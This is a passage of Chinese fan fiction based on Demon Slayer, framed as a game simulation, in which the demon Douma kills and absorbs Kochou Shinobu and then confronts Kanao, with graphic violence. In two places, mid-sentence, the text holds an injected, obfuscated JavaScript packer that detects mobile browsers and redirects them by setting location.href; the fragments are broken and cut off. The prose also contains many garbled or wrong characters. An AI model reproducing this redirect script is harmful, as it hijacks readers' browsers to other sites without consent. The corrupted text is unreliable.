肺部剧烈的喘息引发了一连串的咳嗽,毒血从童磨口鼻间溢出,他眼中的世界却前所未有的明亮。 这就是,中毒的感受吗? 和书里描写的激动,好像啊。 他的心脏,一直都在,如此剧烈地跳动啊! 【稀有体验:剧毒状态】 【触发概率:1%(因等级压制通常免疫)】 【毒素分解中……】 【毒素分解进度:100%】 “抱歉……”童磨拾头,充血的左酿向周边蔓延出青紫的色彩,上翘的嘴角淌下红黑的淤血,“你的毒,好像被我分解掉了呢。” “压箱底的绝招,就这么设啦。你一定很失落吧?抱歉抱歉。”他用沙哑带笑的声音一遍遍诉说歉意。 蝴蝶忍握紧了日轮刀。 童磨眼神迷离地喘息,品味激动的余韵,然而紫藤花毒形成的青紫已然褪去,唯有鲜血自他眼角滴落。 眼前一片血红,和被无惨大人变成鬼的时候一样呢。 多么漂亮的,母胎的颜色,他当时就这样,被无惨大人赋予了新生呀…… 童磨用合拢的金扇接往自眼眸滴落的粘稠面血液,扇骨点在唇边,他探出一点嫣红的舌尖舔舐。 ……新生儿会舔舐自己的血液吗? 啊,下次注意观察吧。 不过自己的味道果然和人类不一样耶。 或许还因为毒素? “你那把刀入鞘的声音,很独特呢,是在改变毒素配比吗?” 战斗的时候忽然收刀什么的,破绽太大啦,只可能和小蝴蝶的招式有关。 蝴蝶忍目光一凝。 “中毒真是太有趣了!”童磨七彩的眼眸流转着迷离的光,像是醉酒的赌徒,“我都要上瘾了!你觉得下一次会有效吗?我们快再来一次吧?” ——我真的好想,好想再体验一遍“激动啊! 蝴蝶忍缓缓吐出一口气。 最槽糕的情况,白己注入的毒无法真正伤害到这只上弦之鬼。 不过,还不算出乎意料。 轻易杀死身为花柱的姐姐的鬼,究竟是什么样的怪物,这五年里她早就在脑海里设想了无数次。 眼下,也不过是最【真实】的一次模拟罢了。 “想试试吗?我没意见。”虫柱声音轻柔。 【虫柱·蝴蝶忍怒气值抵达上限】 【A.继续战斗 】 【B.接受挑战 】 【C.其他】 “太好啦!”童磨同时点击A和B,无视了蝴蝶忍话语中的杀机,只听到自己想要的—— 小蝴蝶的储备毒还有很多,可以好好玩一会儿了。 这才是“游戏”嘛,那些乱七八糟的降好感的金色礼物算什么? 9. 第 9 章 蝴蝶忍踏着石板跳起,瞬间拉近距离,刀尖直取咽喉。童磨抬起金扇,将日轮刀别开一个角度,刀尖堪堪擦过他颈侧。紫藤花毒渗入伤口,童磨饶有兴致地感受着那丝麻痹感沿着血管蔓延。 补好—— 毒的效果减弱了! 童磨临时改口:“毒药准备好了吗?我说了试试看,但如果只用同一招,那就太无聊啦。” 被呼吸的童磨挑衅了无数次的蝴蝶忍深吸一口气,俯身:“虫之呼吸,蜻蜓之舞,复眼六角!” 日轮刀从六个不同的角度同时刺向童磨——咽喉、心脏、肝脏、双肾、脊柱。 金扇与日轮刀在极短时间内碰撞了六次,蝴蝶羽织飘摇落地。 “这是什么?我好像已经产生抗性了。”童磨看着快速褪去的青紫,有些失落,瞬间甚至忘记维持微笑。深浓的眉目落下阴影,显出几分漠然——他本不是天生微笑唇。 什么嘛,身体君分解越来越快,都不全力以赴了。 好过分。 他明明只是想再体验一遍“激动”而已。 既然这样,他只能给自己加大难度了。 童磨脸上绽放出灿烂的笑容,效仿拉拉队,双手握持金扇在身体两侧挥舞,给蝴蝶忍加油打气:“你挡住攻击的方式太精彩了,就像是你所有努力的结晶!” “继续加油,不必等我分解完毒素。” “我最喜欢支持努力拼搏的人了!” 我最喜欢不拘一格的剧情任务啦! [……绝对忍不了了!] 蝴蝶忍的攻势如疾风暴雨袭来,日轮刀刺、削、挑,每一刀都淬着足以杀死下弦鬼的剧毒。但童磨只是草草挥扇格挡,任由刀尖在身上留下伤口。 好开心,他的鼓励起效了! “对,就是这样!”童磨大声赞美,持续鼓励。 他抬扇拨开日轮刀,像是赶走扰人的飞虫。蝴蝶忍变招极快,刀锋回旋削向手腕,童磨没有后退,想看看她接下来会怎么进攻。 腕部被划开,可怖的瘢痕爬上童磨右手。 “嗯……看来第五号毒药也没有起作用,效果越来越差了的说。"童磨遗憾的摇摆被划伤的手,它以肉眼可见的速度恢复原状,“你觉得还能做多少种?” 小蝴蝶的日轮刀还能装多少毒素呢? 要收着点玩了。 毕竟抛开剂量谈毒性都是要流氓嘛。 如果小蝴蝶绝望,就更不能玩了的说~ 蝴蝶忍的呼吸逐渐紊乱,额角渗出冷汗。 明明刺中了,明明每一刀都确实注入了毒素。但眼前鬼的分解速度一次比一次快,紫青消退的痕迹几乎追着她的刀尖。 深刻担忧蝴蝶忍的童磨很快发现了这一问题:“啊,你喘不过气来了,流了好多汗,你还好吗?” 意料之中,蝴蝶忍没有回答。 童磨只能自己揭露答案:“你的肺快不行了吧,毕竟你吸入了我的血鬼术。” 原来如此……蝴蝶忍明白了。方才那冷到极致的空气中包含剧毒。 她竭力控制呼吸频率,让肺里最后一丝空气压入血管,压入肌肉,压入握刀的指尖: “虫之呼吸——” “蜻蜓之舞·复眼六角!” 足尖脱离地面的瞬间,世界在蝴蝶忍眼中变得无比缓慢。她身体扭曲成不可思议的弧度,刀锋从腋下刺出,紫藤花毒涌入,渗透进鬼的身体。 交锋只在瞬息之间,蝴蝶忍落在数米之外,保持着刺击的姿势,日轮刀斜指向地。 一秒。 两秒。 然后伤势才延迟发作。 ——蝴蝶忍半个肩膀都被劈开,撕裂的皮肉迸出鲜血,像是即将燃尽的烟花。 “你是真的很快!也许是我见过最快的柱了。” 童磨回头,看见被金扇切开了大半个肺部的蝴蝶忍。 啊咧…… 小蝴蝶的翅膀裂开了…… 童磨遗憾地回顾战斗:“你至少应该试着砍我的脖子。以那种速度,说不定就成功了。” “啊,不行。”极乐教教主像是意识到自己失言,捂住了嘴,但转瞬又笑出声,“毕竟你太小了。” 用日轮刀支撑着自己,单膝跪地的蝴蝶忍不住干呕。 好恶心。 伪装成人的,不伦不类的,恶鬼。 什么都不是。 非人,非神,的,恶鬼 但是,无法打败。 恍惚中蝴蝶忍看到了逝世的长姐,她淡紫色的眼眸里总是氤氲着温柔的哀伤和担忧。 姐姐在死亡前,是希望她退出鬼杀队的。 因为—— 面上弦之贰的童磨。 无论怎么努力。 她都只能得到[死亡]的结局而已。 “站起来,蝴蝶忍。” 是姐姐的声音,好近也好遥远,像是行冥先生所说的回光返照。 真好啊……还能听到姐姐的声音。 蝴蝶忍想要听清一些,努力直起身。可始终摇晃着,无法站起。 ……对不起。 对不起姐姐! 肺部被切开半个,吸入了那家伙血鬼术的我,已经无法继续战斗了。 对不起…… 见到蝴蝶忍仍在挣扎,童磨无措地捂住嘴巴,手指蜷缩在唇边。 哇呜,没躲开也没立刻死掉,那该有多痛苦啊。 简直是自己极乐教主生涯重大失误! “对不起对不起,没有砍到底,你现在肯定很痛吧?”美丽到让人眩晕的恶鬼惊惶地道歉,春水般清澈的眸子里写满了后悔与歉意,“还是赶紧让我送你前往极乐世界吧。” [对不起……] 蝴蝶忍在心中重复。 “这无关紧变。”姐姐温柔而又不容置疑地说,就像每一次挡在她前面时样,“既然决定了要打败他,那就去打败。既然决定了要赢,就赢给自己看。不管牺牲什么,都要赢。不是早就和我,还有香奈乎约好了吗?” “站起来,虫柱·蝴蝶忍。” 虫柱·蝴蝶忍。 不是小忍,不是妹妹,不是蝴蝶小姐。 站在上弦贰面前的她,是也只是鬼条队的虫柱。 柱不能倒下,至少不能毫无意义地牺牲。 不然她作为柱“支撑”起的一切,都将会随着她的坍塌而坍塌。 那些笑脸。 那些短暂的温暖。 都会坍塌…… 不,不可以! 她决不能倒地! 蝴蝶忍暗紫色的双瞳猛地睁大,脆弱的啼哭被埋进心脏的最深处——她不需要这部分脆弱的“自我”! 她的肺部很痛,可是还能呼吸。 地的身体撕裂,但是还没报废。 她仍能鼓动剩下的肌肉。 她仍能以残破的肺施展虫之呼吸。 她仍有可能—— 斩杀这只将杀人当做善业的极恶之鬼! ——身体被撕裂的虫柱艰难地直起身,剑指上弦之贰,童磨。 “哎?居然能站得起来?锁骨、肺还有肋骨都被砍伤了呀。”童磨惊讶捂嘴,七彩色流转的琉璃瞳第一次浮现出真切的疑惑。 明明是个不能再生的人类啊? 比当初的小香奈惠伤势还要重的说~ 而且这么——小小的一只,比猗窝座阁下还要小,身体都裂开超过三分之一了吧。 “以你的体型,当场暴毙也不是没有可能啊。” “啊,看吧~血流进肺里,都发出咕噜咕噜的声音了,肯定疼得超乎想象。我马上把你的头砍下来,别太勉强了哦!” 作为极乐教主,他对于短痛死亡这种事超有经验的! 哎……还不放弃吗? 童磨安慰:“你已经没救了,不用再赌气啦。” 回答童磨的是一双满含愤怒的紫眸。 童磨手中金扇一颤。 啊。 原来如此。 这就是情感的魅力啊。 使柔弱者坚韧,使弱小者强大,使恐惧者无所畏惧,使得人这一生物所向披靡。 不。 最后一条他不认可。 即使站了起来,小糊蝶的等级,也只是从lv59来到了lv60而已。 依旧是,弱得可怜啊。 和他这个法师打近战,都无法杀死呢~ “保佑我吧,姐姐。”蝴蝶忍呢喃。 童磨刻意将金扇展在耳前示意自它在认真倾听,但是十分遗憾没有理解:“嗯?” 为什么忽然提到小香奈惠了? 他应该没有错过什么特殊剧情呀。 小蝴蝶能不能给他解释一下呢? 但是蝴蝶忍不再言语,深吸一口充满莲叶冰的空气,感受死亡向自己逼近。 以及死亡前,最后能作出的反击! “虫之呼吸,蚣蛉之舞,百足蛇腹!” 虫柱爆射而出,在靠近后几乎贴着地面滑行,她无视脊椎发出抗议的呻吟,刀尖自下而上刺出。 呼…好快! 他居然看不清轨迹了 比猗窝座阁下捶打自己脑袋的时候还要快! 如此美丽的回光返照! 啊!忽然以意想不到的低矮角度突刺了! 这就是小小一只的好处吗?俯身后居然可以做到只有这么——一点点高哎! 呐,既然如此,他就不躲闪或者攻击了。 上弦贰感受着日轮刀触碰到身体,口中溢出一连串疯狂的笑:“小忍——!” 让我看看吧—— 尽情向我展示你澜的毒纹和锋芒! 我永恒地期特着,死于浓烈的情感啊刚 蝴蝶忍咬紧牙关,特制的自轮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17292445|198513||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刀贯穿了鬼修长白皙的脖颈,毒素疯狂地在其中漫溢,鬼的笑声夏然而止。 ——大量的紫藤花毒在身体里散布是什么感受? 恍若刀剑在体内肆意穿梭,于是每一个细胞都被调动,每一寸肌肉都在收缩,身体本能的求生意志空前地强大。 ——原来,化鬼的我,是拥有对于活的渴望的啊。 身体强烈的渴望,算是我的情感吗? 不知道怎么判定呢。 但是,真的,好新奇。 好喜欢! 青紫色依旧快速褪去,恢复原有的白暂,欺霜赛雪。色若晓春之花的恶鬼拾头,满含喜悦地注视着面前的女孩。 蝴蝶忍眸中的怒火再度升腾。 可恶,为什么—— ——为什么没有用! 她想要抬手,可是右臂已经痉挛。日轮刀被鬼的肌肉自动挤出,她失去着力点,像是一只翅膀被玩闹的孩童无意同折断的蝴蝶,再无力反抗自然的法则,坠向地面。 姐姐的半载羽织原本轻飘戴地搭在她身上,现在也轻飘飘地飞走了,沾着她的血,往上飘啊飘。 她们都是那折翅的蝴蝶。 童磨双手展开金扇。 冰霜以血腥与污渍为根孕育出莹莹的花苞,剔透的莲花自他为中心旋转绽放,无数朵连绵成一片。一切都被覆上了一层晶莹的外衣,随着视线移动光波流转,恰似那琉璃铺地的极乐净士。 出淤泥而不染,濯清涟而不妖。 而净土之主双手伸展,好想要拥抱世界,姿态又似十字架上受难的耶稣。他身后莲花延伸出两条藤蔓,如蛇敲迅疾地下扑,在蝴蝶坠地之前交织成网。 血鬼术·蔓莲华 抓到小忍啦。 冰藤将蝴蝶抛回高空,那十字架状的圣人伸手,拈住她脆弱的鳞翅。 血液混合细碎的冰晶坠落,像是飘散的鳞粉。 “太厉害了!你已经足够努力了。”泪水自童磨眸中溢出,顺着他的脸颊下滑,滴落,洇湿了蝴蝶忍的队服,“我太感动了!” 他错了,小香奈惠在情感的浓烈程度上绝对不上小忍!也从未带给过他如此激动宛若窒息的感受! 小忍,是特别的。 他紧紧拥抱着蝴蝶忍,好像要将其融入自己的血肉,哽咽着,又欢欣鼓舞着:“这么弱小的存在,却能走到如此地步。明明没有姐姐的才华,却坚持猎鬼到现在。你能存活至今,根本就是个奇迹啊!” 概率小得他都难以估计,但她偏偏做到了! “一切的一切都是徒劳,愚昧地将徒劳贯彻到最后,却产生了变化!这就是人类之所以脆弱,也之所以美丽的部分啊!” 就像小琴叶,当初的小梅和小太郎。总能超出他理性的预算,爆发出绚烂而辉煌的什么东西。 简直美轮美奂,百看不厌! “我一定会把你吃得干干净净,让我们一起永恒吧。” 带着小香奈惠的那一部分—— 小忍,和我融为一体吧! “你还有什么遗言吗?我愿意倾听并代为转达!” 你是值得的,小忍。所以即使是无惨大人的敌人,我也愿意把你的遗言告诉他们哦。 “下地狱去吧!”蝴蝶忍死死地盯着流泪又欢笑的恶鬼,对方那扭曲的观念像是一把刀,将她的五脏六腑搅得稀碎,忍不住反呕,“混蛋!” 好,好过分。 他都这么诚心地邀请了。 不是都说伸手不打笑脸人吗? 童磨委屈地眨了眨眼,决定原谅蝴蝶忍。 毕竟小忍是唯一让他心跳如此剧烈的人类呢~ 恶鬼深情拥抱人类之际,门忽而被推开。 气喘吁吁的栗花落香奈乎抬头,望见被上弦贰紧紧拥抱着的姐姐。她平日爱护的羽织不知所终,娇小的身躯几乎被揉碎,无力下垂的手比出暗语。而那个鬼——那个鬼—— 正惺惺作态地垂着泪! 好恶心。 好恶心好恶心好恶心! 不含情感的双瞳染上愤怒。 “很快哦,很快就不痛了。”童磨轻声安慰,双手猛地用力。 咔哒。 颈骨碎裂。 蝴蝶忍时刻燃烧着愤怒火焰的紫眸失去光彩,紧握日轮刀的指骨缓缓松开。 刻着“恶鬼歼灭”字样的,专属于虫柱的日轮刀,第一次在战斗时离开主人的手。 也是最后一次。 栗花落香奈乎在一瞬问,甚至是茫然地,看着蝴蝶忍的日轮刀坠到自己面前。 ——鬼杀队虫柱蝴蝶忍,死亡。 “鬼杀队虫柱瑚蝶忍,被上弦之贰斩杀 “鬼杀队虫柱瑚蝶忍,被上弦之贰斩杀! “鬼杀队虫柱蝴蝶忍,被上弦之贰斩杀” 链鸦的悼亡音遍布无限城。 为这盛大死亡的开幕。 10. 第 10 章 童磨对自己送蝴蝶忍前往极乐的方式很满意。 嗯哼~这样小忍面上还是个漂亮可爱的女孩子。 至于新闯进来的,和小忍长得有些像的—— 【姓名:栗花落香奈乎】 【身份:鬼杀队·虫柱继子,甲级剑士】 【种族:人】 【归属阵营:人类】 【等级:lv62】 【特殊技能:(隐藏)】 【特殊称号:无】 ……啊咧? 小忍的继子等级居然比她高? 小忍好可怜的说,这么努力,还比不上小继子~ 不过都是弱得可怜呢,暂时不管啦。 童磨怜爱地抚摸蝴蝶忍下垂的发,全力吸收这个让他几次心跳加速的女孩。 死死盯着童磨的栗花落香奈乎看见蝴蝶忍的身体在恶鬼的身体中逐渐“下陷”,呼吸一滞。 吸收了…… 这个恶鬼,在她面前,吸收了姐姐! 【检测到特殊剧情人物:栗花落香奈乎处于异常状态·愤怒】 【特殊面板解锁中……】 【特殊面板解锁完成】 【姓名:栗花落香奈乎】 【特性:情感封闭(已消除】 【当前状态:愤怒/惊恐】 哇,是特殊面板哎! 童磨眼睛一亮,但浏览完后嘴角微微下垂。 好过分……搞一个初始稀有设定和他差不多的npc…… “花之呼吸,一之型,红花衣!” 绯红色的刀光忽然炸开,像一朵盛放到极致的花。栗花落香奈乎从地面上弹起,在空中拉出一道弧线,像是蝴蝶,但更像花。 刀锋撕裂空气的声音尖锐得像哭泣。 是个情感充沛的女孩子呢,好有活力~ 童磨落地的时候动作有些夸张:用扇子撑地,侧身,滑行,在台面上留下一道冰痕——本来可以更优雅的,但他不太开心—— 鬼杀队没有设礼仪课吗? 就连无惨大人都会遵守用餐礼仪的! 艳若桃李的恶鬼转头,白橡色长发垂至地面,弯弯地打了一个卷,他眉头微皱:“不要在我进食的时候打扰我嘛~” 栗花落香奈乎精致的面颊上爆出青筋,呼吸沉重。 呀,居然没有嘴里喊着什么姐姐啊正义啊报仇啊就冲上来,不算太笨呢。 不过自己诚恳的忠言,在能说出“忠言逆耳”的人类看来应该是挑畔吧~ 这样还能保持距离……是顾忌他身边的莲叶冰? 啊,小忍那个手势,原来是在警示小香奈乎自己的血鬼术啊,“不要吸入”之类的意思? 真好,又多了解了小忍一点呢~ “面对我的挑衅,居然能按兵不动,这孩子在最后把我的血鬼术告诉你了吧~”童磨笑眯眯地说出猜测。 表情果然变了,这才对嘛~ 他还怪讨厌和自己一样表情很少变化的人的说~ 游戏也真是的,根本不讲逻辑~明明先前是“情感封闭”的npc,怎么会变成这样嘛~ 怎么能从死水里开出花来? “她真的很努力了,即使知道毫无胜算,也从未想过放弃。”童磨兴致勃勃地和栗花落香奈乎分享他和蝴蝶忍的“快乐”回忆,并表达了深刻的遗憾之情,“甚至差一点就要杀死我了~” 假的。 但小忍的继子听到这份肯定,一定会感动得落泪吧~ 继子并不落泪,继子只想砍死这个吸收老师的混蛋。 所有蛋中最漂亮的混蛋右手扣在蝴蝶忍背上,轻轻一按。 身体娇小的女孩彻底消融于鬼的血肉,无声无息。 好满足~ 他带着小忍,带着这份浓烈的情感,一起永生了呢~ “咔哒。” 一声轻响,曾被蝴蝶忍每天认真擦拭的紫色发卡掉在光可鉴人的地上。 这么多只蝴蝶,只有金属质地的它没有摔折翅膀。 童磨俯身捡起了这只发卡,指尖在它的双翅上摩擦,一遍遍描摹其上鲜艳的毒纹。 好漂亮呀~ 和小蝴蝶一模一样呢~ 不过金属什么的,好难吃QAQ 对啦,还有一只小蝴蝶的继子! 童磨将仅存的蝴蝶举到脸侧,纤长的睫羽下垂,又猛地上扬,一双七彩琉璃瞳快乐地弯起,似乎从不知何为人间疾苦:“真是一个美妙的夜晚呀~” 沉浸在蝴蝶忍的美味中,他双颊泛起潮红,鲜红的舌头舔过金属蝴蝶。 下一刻,披着美丽脆弱外衣的凶兽目光锁定栗花落香奈乎,轻笑道:“美食一个接一个的来~ [好恐怖……] 好像在野外,被猛兽锁定了…… 就这样在黑夜里盯着你一直跑一直跑…… 栗花落香奈乎深吸一口气,竭力抑制恐惧,举起日轮刀:“花之呼吸,五之型,无果芍药! 唔,这个动作好像有点眼熟。 童磨用金属扇挡住进攻:“好有意思啊,可以再来一次吗?” “如你所愿。” 这回童磨看清楚了,不只是呼吸法,连起手式和甩腕时的小动作都和蝴蝶香奈惠一模一样。 “明明不是小蝴蝶,招式很像哎,你是什么人呀?”他停下了攻击,好奇发问。 身为虫柱的继子,也不该出招习惯和花柱一模一样吧? 栗花落香奈乎没有回答,深粉色的眼中只有和蝴蝶忍如出一辙的仇恨,一针针对他的。 考虑到栗花落香奈乎的心态,童磨贴心地后撤了一段距离,让她有时间调整。自己则笑眯眯地摇起扇子,活像位听戏的听客。 耐心的叫客没摇几分钟扇子就坐不住了,错愕转头。 很奇怪的感受,硬要说就像是作为电话,电话线被截了一段那样子吧。 忽然失去了一段电话线(猗窝座)的电话童磨十分茫然—— #我设置的特别关注对象忽然断连了怎么办? 童磨若有所思地握住金扇,敲了敲手心:“怎么都连接不上呢,莫非猗窝座阁下死了?” 补怼—— “气息一瞬间变得很奇怪,是我的错觉吗……?猗窝座阁下,似乎成为了某种别的生物?”童磨猝然睁眼。 难道说,难道说,猗窝座阁下,趁自己不注意的时候,偷偷开启了隐藏支线转化为传奇生物? 太过分了吧——连作为最好的朋友的自己也不告诉! 呼……不对,猗窝座阁下的气息已经消散了,肯定不是抛下他一个人开支线去了~ 果然猗窝座阁下还是爱他哒! 绛紫的指甲搭住嫣红的唇缘,放松下来的童磨轻笑:“不过,已经死掉的话,就没有办法知道了呢~” 自导自演完“伤心”“喜悦”后,童磨终于将多余的注意力抛给栗花落香奈乎:“呃——什么来着?对了对了,我之前问了你的身份~” 年轻而遍布伤痕的猎鬼人一字一句道:“我是栗花落香奈乎,蝴蝶香奈惠和蝴蝶忍的妹妹。” “啊,真的吗?可是从味道上来说你们不像是亲姐妹哎。” 哎呀,不会是单相思小忍吧,好可怜哦~ 就让他来肯定她一下吧: “不过怎样都好啦,反正年轻的女孩子大都很美味呢~” “说起这个。”童磨换用一种担忧的口吻,“猗窝座阁下掉掉也是没办法的事呢,因为他绝对不吃女孩子。” 想到猗窝座往日的忠良行为,童磨悲从中来—— 超级过分地浪费了他的金色礼物╯^╰,怎么劝都不听的说~ “明明我和他说了很多次。女性体内的养分甚至能供她们在腹胎内孕育生命,所以大量进食可以尽快变强。可猗窝座阁下非但不吃女性,甚至不杀他们哎~” 和挑食的猗窝座阁下不一样,既然都是游戏提供的食物,他当然要选择好吃又有营养的啦~ 不对不对,应该是类似雌蟹才对。鸡汤什么的太油了,他已经几百年没吃啦~ (注:鬼灭之刃·模拟人生游戏并无此设定,男女营养无差异) “那位大人竟然也默许了,真是狡猾呢。果然猗窝座阁下是被特殊对待的~” 当然,他和无惨大人一样,也很喜欢猗窝座阁下~ 但可惜呀—— “猗窝座阁下,居然死掉了。”墨菊花瓣一般的眉下垂,童磨略显幼态的面颊上堆满了伤心。 猗窝座阁下死了,他超级伤心的,即使在战斗中也会中途停下认真哀悼。 唔……哀悼逝者的话,信徒们一般会先发泄悲伤的情绪。 童磨咬着自己的唇,熟练地呜呜咽咽:“我太伤心了……” 接着阐明逝者对他们的重要性。 “猗窝座阁下可是我最好的朋友……” 之后就是情绪崩溃地大哭。 “呜……呜呜呜……” 手掌握着金扇,童磨只能用屈起的手指抹去泪珠,尽职尽责地哀悼他“最好的朋友”。 [好恶心……] 根本不是这样的…… 面部肌肉平稳……哭得梨花带雨…… 虚假恶心的,伪装。 栗花落香奈乎忍无可忍:“够了!你不必再满口谎言了。” “你口中说出的全是一派胡言,你感到伤心吗?丝毫没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17292446|198513||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。“最好的朋友”死了,可你的面色完全没有变化,既没有褪去血色,也没有愤怒导致的充血。” “因为我是鬼啊。”童磨理直气壮地说。 “鬼的瞳孔一直很湿润,不需要眨眼。但血液循环和人类一样,所以脸色会有变化。” 啊,原来如此吗? 可是他尝试断头时,血液循环被截断,面色也没有变化哦? “临死前,香奈惠小姐说了,她很同情你。你其实,根本感受不到任何情感吧?”栗花落香奈乎缓慢而有力地说,“诞生在这个世界上的人,理所应当享受得到的喜悦、愤怒、悲辛,以及让人颤抖的感动。” “这些你都无法理解吧?不管是开心喜悦的感情,还是哀伤悲痛的心绪,对你来说都是空空如也,一片虚无。” 那双剔透到冷漠的玻璃瞳倒映出小小的少女。她在其中清晰地看见了曾经的自己——那个无力感知情感的自己。 多么相似…… 堕落成可悲的空心鬼的存在啊。 童磨摇摆金扇的动作一滞。 哎—— 居然说他没有情感,真是个坏孩子。他都那么——努力地让自己情绪外露了~(虽说外露的情绪确实是表演出来的~) 结果被未成年的小女孩否定了呢~ 果然,“伪装”这种事,根本不适合真诚的自己呀。 栗花落香奈乎继续解析着或许只有自己能理解的存在:“但是你很聪明,撒谎掩饰。为了不暴露自己空洞的内心,佯作欢欣,假充悲哀……简直像个滑稽的笨蛋。” 她扭出一个饱含恶意的笑:“你来到这个世上的意义是什么?” 唔,没有意义呢。 玩游戏是生物的本能嘛,不需要理由的。 不对不对,他一直在努力做实事呀,日复一日地引渡信徒,重复了几百年呢。这方面他比npc还要刻苦耶~ 最开始就开启的极乐教线中的【目标】,以及它带来的【成就感】,大概就是支撑他玩下去的动力吧? 所以呀,就这么否定我的【成就】,即使是我,也会不开心哦? ……不开心的话,是会放弃表演的吧? …………是会,“愤怒”的吧? “迄今为止,我和大量女□□谈过,但是像你这么坏心眼的孩子还是头一次见。”童磨收敛了笑容,深浓的眉目投下阴影。 他展开金扇,眼皮带动纤长的睫羽上扬:“为什么要说这么过分的话?” 童磨的话语依旧软乎乎轻飘飘,但是那种刻意营造的悲闷消失了。他站在那里,像一尊泥塑的观音像,一块寒冰刻成的厉鬼。 ——像脱离了此世的存在。 [完全是伪装成人或鬼的什么存在……连恶鬼也不会这样……非人的家伙] “你不明白吗?因为我讨厌你,恨不得立刻砍下你的头颅,送你下地狱。”栗花落香奈乎说,“我就收回之前的那句话吧,你也不是很聪明。” 怎么又人身攻击了呀QAQ 小香奈惠小香奈乎都好不讲礼貌的! 好生气! 好生气。 好生气……吗? 啊…… 其实并不呢。 生理反应和激素的分泌对他的影响微乎其微。“生气”是不存在的。 如果要探究他此刻的真实心理,大概只是“无聊”吧? 对面的女孩一直在说一些自以为是的怪话,很无聊。 没必要再表演,很无聊。 没有悬念的战斗,很无聊。 “你还是趁早去死吧,毕竟活得一点价值都没有。” 无聊无聊无聊无聊无聊无聊无聊无聊无聊无聊无聊无聊无聊无聊无聊…… 让人窒息。 杀掉她吧。他不想和这么无聊的人呆在一起了,都要变得死气沉沉了。 金扇边缘覆上薄冰,瞬间袭向栗花落香奈乎的脖颈,后者腰部和双腿同时弯曲,凭借柔软的身体勉强躲过攻击。 像面条一样柔软呢~ 感觉可以团成一团。 咦—— 真是狡猾的孩子,居然趁机用日轮刀划开了他的腹部~ 童磨横扫金扇,金扇周围盛开出晶莹的冰莲,剧毒的冰晶逸散。 血鬼术·莲叶冰 栗花落香奈乎面色一变,上半身后仰,猛地退去,霎时两人隔开七八米。 之前还把他的腹部划开,弄出了好大一个口子,肠子都掉出来了,红红的一长串,和逢年过节时扎在房子上的红花绸缎一样~超级过分的说—— 童磨舔去唇角的残血。 不过嘛,勉强比小忍强一点,也不是不可以玩一下啦~